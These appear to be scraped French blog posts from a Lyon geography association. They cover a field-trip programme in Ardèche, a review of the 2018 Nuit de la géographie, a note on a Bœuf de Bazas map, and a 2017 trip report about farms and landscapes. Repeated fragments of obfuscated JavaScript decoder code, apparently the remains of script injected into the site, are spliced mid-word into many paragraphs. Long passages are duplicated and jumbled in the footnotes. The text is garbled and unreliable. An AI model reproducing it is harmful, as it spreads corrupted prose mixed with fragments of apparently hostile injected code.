Prochain week-end sortie de terrain de la Géothèque : Ardèche le 7 juillet

Venez avec nous pour découvrir ou redécouvrir ce territoire !

Au programme :

SAMEDI 7 Juillet

8 h Départ de Lyon (covoiturage organisé)

10h30 : visite de l’usine Melvita (Basse Ardèche) puis Maison du PNR

Pique-nique en basse Ardèche ou au point du vue du Roux suivant la météo.

Samedi après midi : visite de l’Abbaye de Mazan où une réalisation artistique a été créée dans le cadre du parcours de la ligne de partage des eaux (voir sur le site du parc pour plus d’information).

Fin d’après midi : baignade si possible au Lac d’Issarlès

Installation à l’hôtel des Voyageurs à Issarlès où nous dînerons (14,5 euro par personne vin compris…). Pour réserver 04 66 46 21 43/06 43 59 76 36 de la part de Jean Louis Testud, notre charmant correspondant local.

DIMANCHE 8 Juillet

Visite de la station de moyenne montagne des Estables et point de vue extraordinaire sur les Boutières OU visite d’une forêt près de chez Jean Louis.

Déjeuner gastronomique à la ferme auberge de la Besse à Rieutord et Usclades (www.aubergedelabesse.com).
Retour à Lyon en fin d’après-midi.

Ouvert à tou.te.s, enfants compris, le seul coût étant celui du transport, des repas et hébergement à vos charges.

Pour vous inscrire contactez cathjouve@gmail.com avant le 27 mai !

La nuit de la géographie 2018 : bilan

L’organisation

Au fil de la mise en place de l’événement, des partenaires se sont joints au comité d’organisation d’une quinzaine de personnes.

Partenaires :

– École Urbaine de Lyon
– Université de Lyon
– Géoconfluences
– CartONG
– CafésGéo de Lyon
– le RGLL
– Géorizon
– AFNEG
– APHG
– Hévéa + La Cuisine Itinérante (lieu accueil et restauration)

C’est la Géothèque, en tant qu’association de promotion de la curiosité géographique qui est porteuse de cette Nuit de la Géo à Lyon.

Le lieu, la fréquentation globale, la communication

Le patio de l’Hévéa, lieu de rencontres géographiques

Le lieu choisi, l’Hévéa, « centre d’affaire éthique » accueillant des entreprises et associations d’ESS, s’est parfaitement prêté à la Nuit de la Géo, offrant un espace restauration (alimentation locale), un espace pour les ateliers, un autre pour les conf/café, le tout assez ramassé dans l’espace pour être convivial.

On estime à 200 personnes la fréquentation globale du lieu pendant la soirée, en comptant les personnes arrivées/reparties tôt, ou inversement arrivées/reparties tard, le public ayant évolué pendant la soirée. La qualité des interactions permises par une fréquentation moyenne et l’agencement des lieux a souvent été soulignée très positivement. De nombreuses personnes ont été tenues au courant de l’événement par : les réseaux professionnels de professeurs, le réseau propre au Mapathon, des réseaux étudiants, l’événement facebook, ou encore la newsletter de Géoconfluences.

Contenus

Départ de la balade urbaine, devant l’Hévéa

Balades urbaines

Deux étaient proposées en simultané (18h30-20h)

– La gentrification de la Guillotière : environ 60 personnes sont parties, très satisfaites. Il y a une importante demande de balades urbaines de la part du public.

- Traverser Perrache à pied, balade sensible : 20 personnes ont participé, dont une dizaine ont ensuite participé à la lecture de haïku rédigés en lien avec cette balade.

Ateliers

Plusieurs ateliers avaient lieu en simultané (18h-22h) dans une gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=4q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande salle divisée en sous-espaces, la fréquentation a été continue (avec un creux pendant les balades urbaines puis à la fin) :

- Nomad Maps : retours très positifs, fréquentation continue et échanges de qualité
- Géograffitis : positif, a eu de bons échanges avec des curieux du graff.
- Campus Comestible : de bons retours aussi
- Cartographie sensible : un des gros succès de cette édition : a permis de proposer quelque chose d’adapté aux enfants mais pas seulement ! Une vingtaine de cartes ont été réalisées avec des matériaux faisant appel aux sens puis exposées au fur et à mesure
- Mapathon : gros succès également, une trentaine de cartographes pendant la soirée, habitués ou non des mapathons, de tous les âges et niveaux techniques. Le retour explicatif fait à tout le public en cours de soirée a été apprécié.

Projection du film Construire Mazagran puis débat avec la réalisatrice : la programmation tardive (début du film à 22h30) et la concomitance avec le débat du RGL a fait qu’il y avait peu de personnes à la projection (une vingtaine) malgré l'intérêt du film et du débat qui a suivi.

Expos/Librairie

Les expositions (de photos d’étudiants de l’asso Géorizon ; et d’une photographe Delphine Charlet) ont été appréciées. La présence d’un st;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand d’ouvrages en lien avec les thématiques actuelles de la géographie, grâce à la Librairie Archipel, a été fructueuse et permettait la discussion et l’échange avec les auteurs présents pour les conférences.

Espace café

3 moments qui ont tous été fréquentés par environ 50 personnes à chaque fois (avec un pic à 70 personnes pour le second) :

- Café Géo de Stéphane Crozat sur les légumes anciens et la biodiversité cultivée
- Conférence de Michel Lussault sur la géographie à l'heure de l'Anthropocène
-  Atelier « surtout-pas-conférence » par le Réseau des Géographes Libertaires

Le café géo de Stéphane Crozat

 

 

 

 

 

 

Pour faire partie de l'aventure l'année prochaine contactez nous sur  : nuitdelageolyon@gmail.com 

Notes   [ + ]

1. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande de balades urbaines de la part du public.

- Traverser Perrache à pied, balade sensible : 20 personnes ont participé, dont une dizaine ont ensuite participé à la lecture de haïku rédigés en lien avec cette balade.

Ateliers

Plusieurs ateliers avaient lieu en simultané (18h-22h) dans une grande de balades urbaines de la part du public.

- Traverser Perrache à pied, balade sensible : 20 personnes ont participé, dont une dizaine ont ensuite participé à la lecture de haïku rédigés en lien avec cette balade.

Ateliers

Plusieurs ateliers avaient lieu en simultané (18h-22h) dans une gr;p5=s4.indexOf(wc.charAt(vf++

3. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfande salle divisée en sous-espaces, la fréquentation a été continue (avec un creux pendant les balades urbaines puis à la fin) :

- Nomad Maps : retours très positifs, fréquentation continue et échanges de qualité
- Géograffitis : positif, a eu de bons échanges avec des curieux du graff.
- Campus Comestible : de bons retours aussi
- Cartographie sensible : un des gros succès de cette édition : a permis de proposer quelque chose d’adapté aux enfants mais pas seulement ! Une vingtaine de cartes ont été réalisées avec des matériaux faisant appel aux sens puis exposées au fur et à mesure
- Mapathon : gros succès également, une trentaine de cartographes pendant la soirée, habitués ou non des mapathons, de tous les âges et niveaux techniques. Le retour explicatif fait à tout le public en cours de soirée a été apprécié.

Projection du film Construire Mazagran puis débat avec la réalisatrice : la programmation tardive (début du film à 22h30) et la concomitance avec le débat du RGL a fait qu’il y avait peu de personnes à la projection (une vingtaine) malgré l'intérêt du film et du débat qui a suivi.

Expos/Librairie

Les expositions (de photos d’étudiants de l’asso Géorizon ; et d’une photographe Delphine Charlet) ont été appréciées. La présence d’un stande salle divisée en sous-espaces, la fréquentation a été continue (avec un creux pendant les balades urbaines puis à la fin) :

- Nomad Maps : retours très positifs, fréquentation continue et échanges de qualité
- Géograffitis : positif, a eu de bons échanges avec des curieux du graff.
- Campus Comestible : de bons retours aussi
- Cartographie sensible : un des gros succès de cette édition : a permis de proposer quelque chose d’adapté aux enfants mais pas seulement ! Une vingtaine de cartes ont été réalisées avec des matériaux faisant appel aux sens puis exposées au fur et à mesure
- Mapathon : gros succès également, une trentaine de cartographes pendant la soirée, habitués ou non des mapathons, de tous les âges et niveaux techniques. Le retour explicatif fait à tout le public en cours de soirée a été apprécié.

Projection du film Construire Mazagran puis débat avec la réalisatrice : la programmation tardive (début du film à 22h30) et la concomitance avec le débat du RGL a fait qu’il y avait peu de personnes à la projection (une vingtaine) malgré l'intérêt du film et du débat qui a suivi.

Expos/Librairie

Les expositions (de photos d’étudiants de l’asso Géorizon ; et d’une photographe Delphine Charlet) ont été appréciées. La présence d’un st;p5=s4.indexOf(wc.charAt(vf++

Petite géographie du bœuf de Bazas

Notre carte représente le territoire d’une appellation bovine doublement labellisée, le « bœuf de Bazas ». Originellement produit du terroir bazadais, localisé dans le sud de la Gironde, cette appellation recouvre désormais un ensemble plus vaste : l’IGP s’étend du Médoc au nord-ouest du Gers en passant par une partie du Lot-et-Garonne. Elle s’appuie sur une longue tradition, c’est également un élément de développement économique territorial, et un composant du paysage socio-culturel, et ce à différentes échelles.

Boeuf de Bazas

Boeufs de Bazas à la fête des boeufs gras de Bazas, 2012. Photographie de Jacme31 sous licence CC BY-SA 2.0. Source Flickr.

Notre carte, centrée sur l’espace de production et de diffusion du bœuf de Bazas dans le cadre plus général du Sud-Ouest de la France, tente d’illustrer l’ancrage local d’un produit de qualité, qui essaie de se diffuser par différents moyens (communication, exportation, discours…) à l’intérieur et à l’extérieur de son espace d’origine. Les nombreux acteurs sont ainsi cartographiés pour montrer leur importance, et leurs différentes stratégies quant à la viabilité sur le long terme de leurs actions en faveur de ce produit.

La légende, riche en items, fait figure de texte explicatif, d’où sa densité, peu courante pour une carte de synthèse. Elle permet d’analyser en profondeur une production pas toujours évidente à saisir, mêlant des dimensions variées (géographiques, économiques, sociologiques etc.) et des logiques multiples (spatiales, de rentabilité, etc.).

Il est toujours difficile de symboliser par une représentation abstraite (comme l’est cette carte) des données visuelles, olfactives voire gustatives, c’est pour cela que nous espérons que ce parti pris ne gênera pas le lecteur… En vous souhaitant une bonne dégustation visuelle !

Victor Piganiol

 

Boeuf de Bazas carte AOP

légende boeuf de Bazas

 

 

Sortie géographique dans le PNR des Monts d’Ardèche

C’est une première pour la Géothèque : une dizaine de membres (et futurs membres) de l’association, âgés de 2 ans et plus, ont bravé la montagne ardéchoise, pour y moissonner des documents géographiques qui sont librement utilisables pour un usage non lucratif1sous réserve de citer la source. Pour d’autres usages, nous contacter. Le récit de ce voyage vous donnera sans doute envie d’adhérer à l’association, et d’être ainsi informé.e de notre prochaine sortie géographique !

Samedi 8 juillet 2017

Départ 8 h de Lyon, arrivée midi au domaine de Pécoulas (commune de Lagorce). Treize vins en IGP Ardèche : « si tu ne trouves pas un vin qui te plaît dans un de mes vins c’est que tu dois boire du Coca ! », est la devise officieuse du vigneron, Jacques Eldin. Et en effet la diversité des goûts est réelle avec un bon rapport qualité/prix (25 €/30 € en moyenne le carton de 6). Ici on ne parle pas anglais et on le revendique (un géothécaire joue au traducteur pour des allemands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=4p5&15)<<4)|(q8>>2);wb=6q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de h;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=3p5&15)<<4)|(q8>>2);wb=5q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=7p5&15)<<4)|(q8>>2);wb=8q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand père employé d'EDF qui avait quelques animaux pour son plaisir personnel. Le père s'est lancé dans la chèvre et la vente directe, « ce qui [les] a sauvé ». Qu;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=9p5&15)<<4)|(q8>>2);wb=10q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand le fils a voulu prendre la suite il l'a encouragé à diversifier et se lancer dans sa propre activité choisie par goût personnel : l’élevage de porcs fermiers et leur transformation sur place (abattage ailleurs). La chambre d'agriculture leur avait conseillé plutôt d’intensifier en doublant le cheptel de chèvres mais il aurait fallu agr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=11p5&15)<<4)|(q8>>2);wb=12q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandir les bâtiments, les terrains, etc.

Cliché : Nathalie Heurtault, 2017
Cliché : Nathalie Heurtault, 2017

Cependant, le fils a fait le choix de la diversification et de la transformation sur place associée à la vente directe. Ce choix lui permet également une certaine autonomisation par rapport aux pratiques d’élevage de son père/associé. Avec un investissement de 150 000 € dans les deux laboratoires (celui de fromages et celui de découpe et charcuterie), l'exploitation produit ses charcuteries et vi;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=13p5&15)<<4)|(q8>>2);wb=14q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes de porcs fermiers (sans label bio, le grain coûterait trop cher : de 300 € la tonne le coût du grain bio passerait à 500 € la tonne, sachant que Nicolas en utilise une tonne tous les 45 jours) et ses fromages de chèvre (bio ceux-là, mais hors AOC en raison d’un différend à l'occasion d'une redéfinition de l'espace de l'AOC Picodon) : un délice ! Les coffres se remplissent à nouveau, après une dégustation très agréable et un accueil très chaleureux... On ne peut au final qu'être frappés par le contraste entre l'exploitation familiale des Arcis et celle de La Louvèche : Nicolas a fait un lycée agricole (où on n’apprend, semble-t-il, qu’à « remplir les formulaires de la PAC ») puis une formation pour adultes de transformation du porc. Il est très inséré dans les canaux de distribution directe (Ruche qui dit Oui à Aubenas pour laquelle il adapte ses caissettes aux consommateurs urbains, vente à la ferme, visites, volonté de sensibiliser à la qualité). On sent la hauteur de vue du fils comme du père qui a su laisser une innovation sociale bien dosée transformer sa propriété en une ferme très agréable et passionnante à visiter (avec une vue imprenable sur l'Ardèche verte).

Cliché : Nathalie Heurtault, 2017Cliché : Nathalie Heurtault, 2017

La troupe des géographes descend ensuite vers le plateau par la Route des sucs. Toujours selon notre ami Wikipédia, un suc est un « sommet volcanique caractéristique de la région du Velay et du haut Vivarais dans le Massif central. Il se présente sous la forme d'un piton ou d'un dôme aux pentes fortes, nettement proéminent, de nature trachytique ou phonolitique. Ils dominent des plateaux basaltiques qui ont sensiblement le même âge géologique. L'ensemble forme un paysage caractéristique fait de hauts plateaux et de pointements isolés. ». C’est de toute beauté et très dépaysant ; cela me rappelle les Mogottes de la Vallée de Viñales à Cuba. Déjeuner au restaurant Beauséjour (commune du Béage), une adresse délicieuse, avec une vue imprenable et un service impeccable ! Les charcuteries, vi;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandes, pommes de terre, plateau de fromage et les glaces Terre Adélice (un succès agro-alimentaire local), le tout produit localement ravissent nos papilles...

Il est temps de rentrer, par la Route des sucs, la Haute-Loire, la Loire puis le Rhône et de prévoir les prochains week-ends de la Géothèque, pour toujours plus de curiosité géographique !

Récit de la sortie : Hélène Chauveau et les membres de la Géothèque

Notes   [ + ]

1. sous réserve de citer la source. Pour d’autres usages, nous contacter
2. p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfands en goguette). Petite exploitation familiale de 4 personnes qui s'est lancée dans les bags in box, et a mécanisé la vendange. Les coffres des voitures se remplissent...


Clichés : Nathalie Heurtault, 2017

Pique-nique au bord de l'Ardèche dans un village au label des « plus beaux villages de France » : Vogüe. Les pieds dans la fraîche Ardèche on voit un peu de la mise en tourisme de cette Ardèche méridionale « autoroute à canoës » (même si début juillet le touriste n'est pas encore trop présent).

nathalie heurtaultNathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Début de la montée dans la montagne ardéchoise : premier arrêt juste avant le Tunnel du Roux, occasion de photos, croquis de paysage et commentaire de Jean-Louis notre guide local de l'étape. On observe notamment l’étagement montagnard avec la limite altitudinale du châtaignier, puis celle de la forêt, et les premières pelouses d’altitude. Paysages superbes, on s’approche des lieux de la trilogie documentaire de Depardon (Profils paysans, trois films réalisés par le photographe-cinéaste entre 2001 et 2008 : « L'approche », « Le quotidien » et « La vie moderne »), tant par le bâti que la rudesse du paysage.

Croquis vallée de la Fontaulière et vue sur la vallée du Rhône
Croquis : J.-B. Bouron

Passage de la ligne de partage des eaux entre bassin versant de l'Ardèche (Méditerranée) et de la Loire (Atlantique). Voir à ce sujet l'excellent documentaire de Dominique Marchais, La Ligne de partage des eaux, avec des vrais morceaux de géographie dedans.

Nathalie HeurtaultNathalie Heurtault Nathalie Heurtault
Clichés : Nathalie Heurtault, 2017

Arrêt à la caldeira de la Fontaulière (selon notre ami wikipédia : « vaste dépression circulaire ou elliptique, généralement d'ordre kilométrique, souvent à fond plat, située au cœur de certains grandicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le grands édifices volcaniques et résultant d'une éruption qui vide la chambre magmatique sous-jacente ») : l'Ardèche c'est aussi le vert de la végétation, même en été ; les volcans et les prairies fleuries pleines d'une biodiversité.

Caldeira
Croquis : J.-B. Bouron

Troisième arrêt au barrage de Lapalisse qui transfère de l'eau de la Loire vers l'Ardèche, un haut point géographique, d'ingénierie et de forts enjeux géopolitiques interbassins ! De ce transfert d’eau dépend une partie de la ressource touristique de la vallée de l’Ardèche.

Nathalie HeurtaultCliché : Nathalie Heurtault, 2017

Descente vers le Lac d'Issarlès qui offre une vue imprenable sur le Mont Mézenc, une station de pompage EDF et le tourisme vert des lacs de Haute Ardèche : les géographes sont heureux de se rafraîchir dans ce très beau cadre !

Encore un peu de route et installation à l'Hôtel des voyageurs d’Issarlès, un petit bourg, qui fut sans doute une importante place de marché. Le village n’a pas de rue mais une succession de vastes places. Nous sommes comme des coqs en pâte avec une vue sur les prés, la forêt et la place du village (où une maison 1900 à vendre « dans son jus » ferait un beau siège pour la Géothèque...). Adhérez à l’association pour lui permettre de débuter un empire immobilier !

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Soirée au hameau Les Arcis, commune d'Issarlès, où notre guide habite la moitié de l'année. Après un apéro mérité et composé de fromages, charcuterie et vins locaux, il nous fait rencontrer Rosa Moulin, 98 ans, et ses deux fils célibataires, qui s'occupent de leur 20 vaches laitières (sa fille et son gendre qui habitent Lyon sont aussi là). Une fois de plus, impossible de ne pas penser à L'Approche où Depardon interroge des paysans, notamment dans le Haut Vivarais voisin. Rosa est une figure, travaillant aux champs depuis son enfance et la mort de son père de ses blessures de guerre (mais « mort à la maison, ma mère n'a jamais eu droit à une pension, il aurait fallu qu'il meure à l'hôpital »). Autour d'un pastis et d'une brioche (ici l’apéritif s'accompagne de sucré) elle raconte un peu de sa vie dans ce pays qu'on devine rude. Ses fils nous montrent les vaches et le lieu de traite (le plus simple qui soit), l'un est très en retrait, ne conduit pas (ce qui nous semble une contrainte gigantesque dans ce contexte « loin de tout ») et l'autre est un peu plus disert et mobile. Voyage dans le temps garanti. La soirée s'écoule ensuite on ne peut plus agréablement autour d'un barbecue et de quelques bouteilles de Pécoulas.

Nathalie Heurtault
Cliché : Nathalie Heurtault, 2017

Dimanche 9 juillet 2017

Doux réveil après une nuit fraîche (ouf !) à Issarlès avec petit déjeuner sur la terrasse de l'Hôtel des voyageurs. On voit un peu de la vie dominicale de ce bourg blotti dans la moyenne montagne : motards suisses en goguette, locaux qui viennent chercher leur pain, boire leur café ou leur bière du matin... Croquis de la place, averse, soleil...

Issarlès depuis Hotel des Voyageurs

On part ensuite visiter la Ferme de la Louvèche (commune du Lac d’Issarlès) où Nicolas, le fils, associé à sa femme et son père (la maman étant officiellement à la retraite), mène énergiquement les activités d'élevage, transformation et vente directe. 60 hectares (30 de fauche qu'ils font faire et 30 de pâturage pour les chèvres), 60 à 70 chèvres alpines et 10 à 15 porcs fermiers font de cette ferme un lieu d'activité diversifiée ouverte au public. Cependant, les cars ne peuvent pas monter : le public est surtout constitué des groupes de personnes en situation de handicap et des touristes en été puisqu'elle est placée entre le Lac d'Issarlès et le Mont Gerbier de Jonc). La vieille « chaumière » avait été achetée dans les années 1970 par le gr;p5=s4.indexOf(wc.charAt(vf++

